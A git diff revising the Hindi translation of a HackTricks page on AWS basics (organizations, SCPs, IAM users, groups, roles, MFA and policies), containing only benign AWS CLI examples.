diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 5ad71d4d3..3bf8ed8c4 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,52 +1,52 @@
-# AWS - मूल जानकारी
+# AWS - Basic Information
{{#include ../../../banners/hacktricks-training.md}}
-## संगठन पदानुक्रम
+## Organization Hierarchy
.png>)
-### खाते
+### Accounts
-AWS में एक **रूट खाता** होता है, जो आपके **संगठन** के सभी खातों के लिए **माता-पिता कंटेनर** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **विभिन्न AWS** अवसंरचनाओं को अलग करने के लिए **अन्य खाते बना सकते हैं**।
+AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढाँचे को अलग करने के लिए **अन्य खाते बना सकते हैं**।
-यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
+यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं सकेगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
-इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एक एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
+इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
-- **प्रबंधन खाता (रूट खाता)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
+- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
- संगठन में खाते बनाना
- संगठन में अन्य मौजूदा खातों को आमंत्रित करना
- संगठन से खातों को हटाना
-- आमंत्रण प्रबंधित करना
-- संगठन के भीतर संस्थाओं (रूट, OU, या खाते) पर नीतियाँ लागू करना
+- आमंत्रणों का प्रबंधन करना
+- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करना
- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना।
-- आप इस रूट खाते/संगठन को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके रूट उपयोगकर्ता के रूप में लॉगिन कर सकते हैं।
+- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन कर सकते हैं।
-प्रबंधन खाते की **भुगतानकर्ता खाते की जिम्मेदारियाँ** होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप संगठन के प्रबंधन खाते को बदल नहीं सकते।
+प्रबंधन खाते की **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते।
-- **सदस्य खाते** संगठन में बाकी सभी खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर।
+- **सदस्य खाते** संगठन में सभी अन्य खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर।
- सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)।
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
-### **संगठन इकाइयाँ**
+### **Organization Units**
-खातों को **संगठन इकाइयों (OU)** में समूहित किया जा सकता है। इस तरह, आप संगठन इकाई के लिए **नीतियाँ** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
+Accounts can be grouped in **Organization Units (OU)**. इस तरह, आप **policies** बना सकते हैं जो Organization Unit के लिए होंगी जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-### सेवा नियंत्रण नीति (SCP)
+### Service Control Policy (SCP)
-एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**।
+एक **service control policy (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियाँ** निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**।
-यह एकमात्र तरीका है कि **यहां तक कि रूट उपयोगकर्ता को कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\
+यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\
इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता को अवरुद्ध नहीं किया जा सकता)।
> [!WARNING]
-> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
+> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
SCP उदाहरण:
@@ -71,38 +71,38 @@ SCP उदाहरण:
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-ध्यान दें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
+नोट करें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - पहचान और पहुंच प्रबंधन
+## IAM - पहचान और पहुँच प्रबंधन
-IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुंच नियंत्रण** प्रबंधित करने की अनुमति देती है।
+IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है।
- **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है।
- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो।
-- **पहुंच नियंत्रण** - यह सुरक्षित संसाधन तक पहुंच कैसे दी जाती है, इसकी विधि और प्रक्रिया
+- **पहुँच नियंत्रण** - यह सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया।
-IAM को इसकी पहचान के लिए आपके AWS खाते के भीतर संसाधनों के लिए प्रमाणीकरण, अधिकार और पहुंच नियंत्रण तंत्रों को प्रबंधित, नियंत्रित और शासित करने की क्षमता द्वारा परिभाषित किया जा सकता है।
+IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कैसे करता है।
### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुंच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
+जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
-ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
+नोट करें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
-सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस उपयोगकर्ता का उपयोग करने से बचना अनुशंसित है।
+सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है।
### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं।
+एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ इंटरैक्ट करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं।
-जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करके।
+जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, इसे एक **उपयोगकर्ता समूह का सदस्य बनाकर** जो उपयुक्त अनुमति नीतियों से जुड़ा होता है (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से जोड़कर।
-उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुंच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
+उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
#### CLI
@@ -110,12 +110,12 @@ IAM को इसकी पहचान के लिए आपके AWS खा
- **गुप्त एक्सेस कुंजी आईडी**: 40 यादृच्छिक अपर और लोअरकेस वर्ण: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (खोई हुई गुप्त एक्सेस कुंजी आईडी को पुनः प्राप्त करना संभव नहीं है)।
जब भी आपको **एक्सेस कुंजी बदलने की आवश्यकता हो** तो आपको इस प्रक्रिया का पालन करना चाहिए:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+_एक नई एक्सेस कुंजी बनाएं -> सिस्टम/एप्लिकेशन पर नई कुंजी लागू करें -> मूल को निष्क्रिय के रूप में चिह्नित करें -> परीक्षण करें और सत्यापित करें कि नई एक्सेस कुंजी काम कर रही है -> पुरानी एक्सेस कुंजी हटाएं_
### MFA - मल्टी फैक्टर प्रमाणीकरण
यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\
-आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक उपकरण** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
+आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक डिवाइस** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं:
@@ -123,31 +123,31 @@ MFA शर्तों वाली नीतियाँ निम्नलि
- एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय
- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
-यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जांच करता है** तो आपको **`GetSessionToken`** कॉल करने की आवश्यकता है। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
-ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**।
+यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
+नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती है**।
```bash
aws sts get-session-token --serial-number --token-code
```
-जैसा कि [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), ऐसे कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**।
+जैसा कि [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**।
### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**।
+एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं** के लिए नीतियों को **जोड़ना** आसान हो जाता है, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो जाता है। **भूमिकाएँ और समूह एक समूह का हिस्सा नहीं हो सकते**।
आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह** से जोड़ सकते हैं ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होती हैं।
-उपयोगकर्ता समूहों की कुछ महत्वपूर्ण विशेषताएँ हैं:
+उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं:
- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**।
- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
-- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
+- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा अपनाने के लिए डिज़ाइन किया गया है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका को अस्थायी रूप से** एक विशिष्ट कार्य के लिए विभिन्न अनुमतियाँ लेने के लिए अपना सकता है। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
+एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा ग्रहण किया जा सकता है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका ग्रहण कर सकता है ताकि वह अस्थायी रूप से** किसी विशेष कार्य के लिए विभिन्न अनुमतियाँ ले सके। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
-एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका को अपना सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**।
+एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका ग्रहण कर सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**।
#### AWS सुरक्षा टोकन सेवा (STS)
@@ -163,11 +163,11 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं:
-- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई)
+- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-निर्धारित)
- ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर।
-**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, यदि एक स्पष्ट भूमिका निर्दिष्ट की गई है तो पहुँच दी जाएगी।\
-यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, AWS खाते की रूट सुरक्षा प्रमाण-पत्रों का उपयोग करने वाले अनुरोधों को छोड़कर (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
+**डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, पहुँच तब दी जाएगी जब एक स्पष्ट भूमिका निर्दिष्ट की गई हो।\
+यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, सिवाय उन अनुरोधों के जो AWS खाते की रूट सुरक्षा प्रमाण-पत्रों का उपयोग करते हैं (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -190,17 +190,17 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
]
}
```
-[वैश्विक फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-[विशिष्ट फ़ील्ड जो सेवा के अनुसार शर्तों के लिए उपयोग की जा सकती हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[ग्लोबल फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
+[विशिष्ट फ़ील्ड जो प्रत्येक सेवा के लिए शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### इनलाइन नीतियाँ
इस प्रकार की नीतियाँ **प्रत्यक्ष रूप से** एक उपयोगकर्ता, समूह या भूमिका को असाइन की जाती हैं। फिर, वे नीतियों की सूची में नहीं दिखाई देती हैं क्योंकि कोई अन्य उनका उपयोग कर सकता है।\
-इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं**। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
+इनलाइन नीतियाँ उपयोगी होती हैं यदि आप **नीति और उस पहचान के बीच एक सख्त एक-से-एक संबंध बनाए रखना चाहते हैं** जिस पर इसे लागू किया गया है। उदाहरण के लिए, आप यह सुनिश्चित करना चाहते हैं कि नीति में अनुमतियाँ अनजाने में किसी अन्य पहचान को असाइन नहीं की गई हैं। जब आप एक इनलाइन नीति का उपयोग करते हैं, तो नीति में अनुमतियाँ अनजाने में गलत पहचान से नहीं जुड़ सकती हैं। इसके अलावा, जब आप AWS प्रबंधन कंसोल का उपयोग करके उस पहचान को हटाते हैं, तो पहचान में निहित नीतियाँ भी हटा दी जाती हैं। इसका कारण यह है कि वे प्रमुख इकाई का हिस्सा हैं।
#### संसाधन बाल्टी नीतियाँ
-ये **नीतियाँ** हैं जो **संसाधनों** में परिभाषित की जा सकती हैं। **AWS के सभी संसाधन उनका समर्थन नहीं करते**।
+ये **नीतियाँ** हैं जिन्हें **संसाधनों** में परिभाषित किया जा सकता है। **AWS के सभी संसाधन उनका समर्थन नहीं करते**।
यदि किसी प्रमुख के पास उन पर स्पष्ट अस्वीकृति नहीं है, और एक संसाधन नीति उन्हें पहुँच प्रदान करती है, तो उन्हें अनुमति दी जाती है।
@@ -210,13 +210,13 @@ IAM सीमाएँ **एक उपयोगकर्ता या भूम
एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों के स्तर को इंगित करती है**। तो, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा इंगित करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
-**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकताओं से अधिक अनुमतियाँ नहीं हैं।
+**यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकता से अधिक अनुमतियाँ नहीं हैं।
### सत्र नीतियाँ
